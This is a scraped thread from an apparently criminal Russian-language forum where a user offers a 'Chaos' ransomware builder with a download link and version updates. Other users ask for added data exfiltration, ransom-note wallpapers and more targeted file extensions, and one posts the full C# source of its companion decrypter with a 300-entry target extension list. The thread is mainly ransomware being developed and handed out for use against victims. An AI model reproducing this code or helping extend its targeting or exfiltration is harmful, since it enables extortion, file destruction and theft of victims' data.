• XSS.stack #1 – первый литературный журнал от юзеров форума

malware Chaos Ransomware Builder

Т.е. выкачка файлов для последующего слива?
Но было бы желательно, чтоб копировал данные на мои комп. И чтоб картинка менялась на главной странице с текстом который ты пишешь а то если файлов много он не увидит этот .txt где его по нормальному просят заплатить .
 
Еще кое-что, забыл сказать, что он шифрует файлы только до 1 мб
Hi, I want to thank you for your contribution, but I express a personal opinion on the subject, a ransomware, and above all one of those aimed at the Windows platform must have a certain effectiveness, look at gandcrab and wannacry, they are winning because they are thought big, even the old hidden tear did not foresee this .... It is not a criticism, keep improving yourself
 
Я занимался разработкой рансомваре и я хотел бы поделиться с вами, ребята. Поделитесь, пожалуйста, своим мнением по этому поводу. Какую функцию вы бы хотели видеть в этом рансомваре?

Ссылка для скачивания: https://github.com/Hetropo/ryuk-ransomware
попробуйте только на виртуальной машине
Please, add editable file extensions box where we can add our chosen file extensions and remove some extensions as our need.
Kind regards
 

Вложения

  • Extention to encrypt.png
    Extention to encrypt.png
    7 КБ · Просмотры: 42
I have tried to added more 75 extensions like this way but it didn't encrypt my newly added file extensions.It just encrypted your's only.Please add these extensions also.
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;

namespace ConsoleApplication15
{
    internal class Program
    {
        private static string userName = Environment.UserName;

        private static string userDir = "C:\\Users\\";

        public static string privateKeyString;

        private static int decryptedFiles = 0;

        private static string[] validExtensions = new string[304]
        {
            ".txt", ".jar", ".dat", ".contact", ".settings", ".doc", ".docx", ".xls", ".xlsx", ".ppt",
            ".pptx", ".odt", ".jpg", ".mka", ".mhtml", ".oqy", ".png", ".csv", ".py", ".sql",
            ".mdb", ".php", ".asp", ".aspx", ".html", ".htm", ".xml", ".psd", ".pdf", ".xla",
            ".cub", ".dae", ".indd", ".cs", ".mp3", ".mp4", ".dwg", ".zip", ".rar", ".mov",
            ".rtf", ".bmp", ".mkv", ".avi", ".apk", ".lnk", ".dib", ".dic", ".dif", ".divx",
            ".iso", ".7-zip", ".ace", ".arj", ".bz2", ".cab", ".gzip", ".lzh", ".tar", ".jpeg",
            ".xz", ".mpeg", ".torrent", ".mpg", ".core", ".pdb", ".ico", ".pas", ".db", ".wmv",
            ".swf", ".cer", ".bak", ".backup", ".accdb", ".bay", ".p7c", ".exif", ".vss", ".raw",
            ".m4a", ".wma", ".flv", ".sie", ".sum", ".ibank", ".wallet", ".css", ".js", ".rb",
            ".crt", ".xlsm", ".xlsb", ".7z", ".cpp", ".java", ".jpe", ".ini", ".blob", ".wps",
            ".docm", ".wav", ".3gp", ".webm", ".m4v", ".amv", ".m4p", ".svg", ".ods", ".bk",
            ".vdi", ".vmdk", ".onepkg", ".accde", ".jsp", ".json", ".gif", ".log", ".gz", ".config",
            ".vb", ".m1v", ".sln", ".pst", ".obj", ".xlam", ".djvu", ".inc", ".cvs", ".dbf",
            ".tbi", ".wpd", ".dot", ".dotx", ".xltx", ".pptm", ".potx", ".potm", ".pot", ".xlw",
            ".xps", ".xsd", ".xsf", ".xsl", ".kmz", ".accdr", ".stm", ".accdt", ".ppam", ".pps",
            ".ppsm", ".1cd", ".3ds", ".3fr", ".3g2", ".accda", ".accdc", ".accdw", ".adp", ".ai",
            ".ai3", ".ai4", ".ai5", ".ai6", ".ai7", ".ai8", ".arw", ".ascx", ".asm", ".asmx",
            ".avs", ".bin", ".cfm", ".dbx", ".dcm", ".dcr", ".pict", ".rgbe", ".dwt", ".f4v",
            ".exr", ".kwm", ".max", ".mda", ".mde", ".mdf", ".mdw", ".mht", ".mpv", ".msg",
            ".myi", ".nef", ".odc", ".geo", ".swift", ".odm", ".odp", ".oft", ".orf", ".pfx",
            ".p12", ".pl", ".pls", ".safe", ".tab", ".vbs", ".xlk", ".xlm", ".xlt", ".xltm",
            ".svgz", ".slk", ".tar.gz", ".dmg", ".ps", ".psb", ".tif", ".rss", ".key", ".vob",
            ".3dm", ".dxf", ".c", ".class", ".h", ".aep", ".aepx", ".plb", ".prel", ".prproj",
            ".aet", ".ppj", ".indl", ".indt", ".indb", ".inx", ".idml", ".pmd", ".xqx", ".eps",
            ".fla", ".as3", ".as", ".dotm", ".docb", ".xll", ".ppsx", ".sldx", ".sldm", ".aif",
            ".m3u", ".m4u", ".mid", ".mpa", ".ra", ".asf", ".asx", ".m3u8", ".efx",".sdf",
            ".vcf", ".ses", ".fax", ".img", ".srt", ".vtt", ".tiff", ".wfp", ".wsve", ".wve",
            ".fsthumb", ".prfpset", ".prtl", ".tscproj", ".camproj", ".camrec", ".cmproj", ".cmrec", ".libzip", ".trec",
            ".tscdf", ".pds", ".vsp", ".vsh", ".vft", ".aup3", ".aup", ".sesx", ".aac", ".au",
            ".wave", ".ptx", ".aan", ".ptf", ".ptt",
            ".epsp", ".dc3", ".iff", ".onepkg", ".onetoc2", ".opt", ".p7b", ".pam", ".r3d"
        };

        private static void Main(string[] args)
        {
            Console.Title = "Chaos Ransomware Decrypter";
            string directoryName = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
            string path = directoryName + "\\privateKey.chaos";
            if (File.Exists(path))
            {
                privateKeyString = File.ReadAllText(path);
                Console.WriteLine("******************************************************");
                Console.WriteLine("****       Decrypting files, please wait          ****");
                Console.WriteLine("******************************************************");
                Console.WriteLine("");
                Thread.Sleep(2000);
                lookForDirectories();
                Console.WriteLine("");
                Console.WriteLine("******************************************************");
                Console.WriteLine("***  Scan Completed. Decrypted " + Convert.ToString(decryptedFiles) + " files  ***");
                Console.WriteLine("******************************************************");
                Thread.Sleep(1000);
                Console.WriteLine("");
                Console.WriteLine("******************************************************");
                Console.WriteLine("***        Removing ransomware, please wait        ***");
                Console.WriteLine("******************************************************");
                Thread.Sleep(1000);
                string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                Process[] processes = Process.GetProcesses();
                Process[] array = processes;
                foreach (Process process in array)
                {
                    try
                    {
                        if (process.MainModule.FileName.Contains(folderPath))
                        {
                            process.Kill();
                        }
                    }
                    catch
                    {
                    }
                }
                string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
                string[] files = Directory.GetFiles(folderPath2);
                string[] array2 = files;
                foreach (string path2 in array2)
                {
                    File.Delete(path2);
                }
                Console.WriteLine("");
                Console.WriteLine("******************************************************");
                Console.WriteLine("***                   Done!                        ***");
                Console.WriteLine("******************************************************");
                Console.ReadKey();
            }
            else
            {
                Console.WriteLine("******************************************************");
                Console.WriteLine("****           Private key not found!             ****");
                Console.WriteLine("******************************************************");
                Console.ReadKey();
            }
        }

        public static void privateKey()
        {
            StringBuilder stringBuilder = new StringBuilder();
        }

        private static void decryptDirectory(string location)
        {
            try
            {
                string[] files = Directory.GetFiles(location);
                for (int i = 0; i < files.Length; i++)
                {
                    try
                    {
                        string extension = Path.GetExtension(files[i]);
                        string fileName = Path.GetFileName(files[i]);
                        FileInfo fileInfo = new FileInfo(files[i]);
                        fileInfo.Attributes = FileAttributes.Normal;
                        if (fileInfo.Length < 1098576)
                        {
                            DecryptFile(files[i]);
                        }
                    }
                    catch
                    {
                    }
                }
                string[] directories = Directory.GetDirectories(location);
                for (int i = 0; i < directories.Length; i++)
                {
                    decryptDirectory(directories[i]);
                }
            }
            catch (Exception)
            {
            }
        }

        private static void lookForDirectories()
        {
            DriveInfo[] drives = DriveInfo.GetDrives();
            foreach (DriveInfo driveInfo in drives)
            {
                if (driveInfo.ToString() != "C:\\")
                {
                    decryptDirectory(driveInfo.ToString());
                }
            }
            string location = userDir + userName + "\\Desktop";
            string location2 = userDir + userName + "\\Links";
            string location3 = userDir + userName + "\\Contacts";
            string location4 = userDir + userName + "\\Desktop";
            string location5 = userDir + userName + "\\Documents";
            string location6 = userDir + userName + "\\Downloads";
            string location7 = userDir + userName + "\\Pictures";
            string location8 = userDir + userName + "\\Music";
            string location9 = userDir + userName + "\\OneDrive";
            string location10 = userDir + userName + "\\Saved Games";
            string location11 = userDir + userName + "\\Favorites";
            string location12 = userDir + userName + "\\Searches";
            string location13 = userDir + userName + "\\Videos";
            decryptDirectory(location);
            decryptDirectory(location2);
            decryptDirectory(location3);
            decryptDirectory(location4);
            decryptDirectory(location5);
            decryptDirectory(location6);
            decryptDirectory(location7);
            decryptDirectory(location8);
            decryptDirectory(location9);
            decryptDirectory(location10);
            decryptDirectory(location11);
            decryptDirectory(location12);
            decryptDirectory(location13);
        }

        public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
        {
            byte[] result = null;
            byte[] salt = new byte[8] { 1, 2, 3, 4, 5, 6, 7, 8 };
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using RijndaelManaged rijndaelManaged = new RijndaelManaged();
                rijndaelManaged.KeySize = 256;
                rijndaelManaged.BlockSize = 128;
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
                rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                rijndaelManaged.Mode = CipherMode.CBC;
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                    cryptoStream.Close();
                }
                result = memoryStream.ToArray();
            }
            return result;
        }

        public static void DecryptFile(string file)
        {
            string input = File.ReadAllText(file);
            string[] array = Path.GetFileName(file).Split('.');
            Array.Reverse(array);
            if (array.Length <= 2)
            {
                return;
            }
            string text = array[0];
            string text2 = array[1];
            if (validExtensions.Contains("." + text2))
            {
                Match match = Regex.Match(input, "<EncryptedKey>.+<EncryptedKey>");
                if (match.Success)
                {
                    string value = match.Value;
                    string s = Regex.Replace(input, "<EncryptedKey>.+<EncryptedKey>", "");
                    value = value.Replace("<EncryptedKey>", string.Empty);
                    byte[] bytesToBeDecrypted = Convert.FromBase64String(s);
                    string s2 = Decrypt(value, privateKeyString);
                    byte[] bytes = AES_Decrypt(bytesToBeDecrypted, Encoding.ASCII.GetBytes(s2));
                    File.WriteAllBytes(file, bytes);
                    File.Move(file, file.Replace("." + text, ""));
                    Console.WriteLine(file + " Decrypted Suceessfully");
                    decryptedFiles++;
                }
            }
        }

        public static string Decrypt(string textToDecrypt, string privateKeyString)
        {
            byte[] bytes = Encoding.UTF8.GetBytes(textToDecrypt);
            using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(1024);
            try
            {
                rSACryptoServiceProvider.FromXmlString(privateKeyString);
                byte[] rgb = Convert.FromBase64String(textToDecrypt);
                byte[] bytes2 = rSACryptoServiceProvider.Decrypt(rgb, fOAEP: true);
                string @string = Encoding.UTF8.GetString(bytes2);
                return @string.ToString();
            }
            finally
            {
                rSACryptoServiceProvider.PersistKeyInCsp = false;
            }
        }
    }
}
 
I have tried to add this 75 extentions but failed.Please, help me to add these extensions.

Код:
".3dm",
".dxf",
".c",
".class",
".h",
".aep",
".aepx",
".plb",
".prel",
".prproj",
".aet",
".ppj",
".indl",
".indt",
".indb",
".inx",
".idml",
".pmd",
".xqx",
".eps",
".fla",
".as3",
".as",
".dotm",
".docb",
".xll",
".ppsx",
".sldx",
".sldm",
".aif",
".m3u",
".m4u",
".mid",
".mpa",
".ra",
".asf",
".asx",
".m3u8",
".efx",
".sdf",
".vcf",
".ses",
".fax",
".img",
".srt",
".vtt",
".tiff",
".wfp",
".wsve",
".wve",
".fsthumb",
".prfpset",
".prtl",
".tscproj",
".camproj",
".camrec",
".cmproj",
".cmrec",
".libzip",
".trec",
".tscdf",
".pds",
".vsp",
".vsh",
".vft",
".aup3",
".aup",
".sesx",
".aac",
".au",
".wave",
".ptx",
".aan",
".ptf",
".ptt",
 
Теперь доступна версия 4. :)
В этой версии вы можете изменить изображение рабочего стола и добавить собственное расширение.
Также он шифрует файл размером до 2 МБ. В предыдущей версии это было 1 МБ

aaa.png


видео о том, как пользоваться.

ссылки для скачивания.
 
Теперь доступна версия 4. :)
В этой версии вы можете изменить изображение рабочего стола и добавить собственное расширение.
Также он шифрует файл размером до 2 МБ. В предыдущей версии это было 1 МБ

Посмотреть вложение 25313

видео о том, как пользоваться.

ссылки для скачивания.
Спасибо за обновление!: Я буду следить за проектом.
 
Теперь доступна версия 4. :)
В этой версии вы можете изменить изображение рабочего стола и добавить собственное расширение.
Также он шифрует файл размером до 2 МБ. В предыдущей версии это было 1 МБ

Посмотреть вложение 25313

видео о том, как пользоваться.

ссылки для скачивания.

Лайк за старание)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Он отлично работает с Windows 7;
Но Windows 10 показывает ошибку: (Приложение не запускается на вашем ПК).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх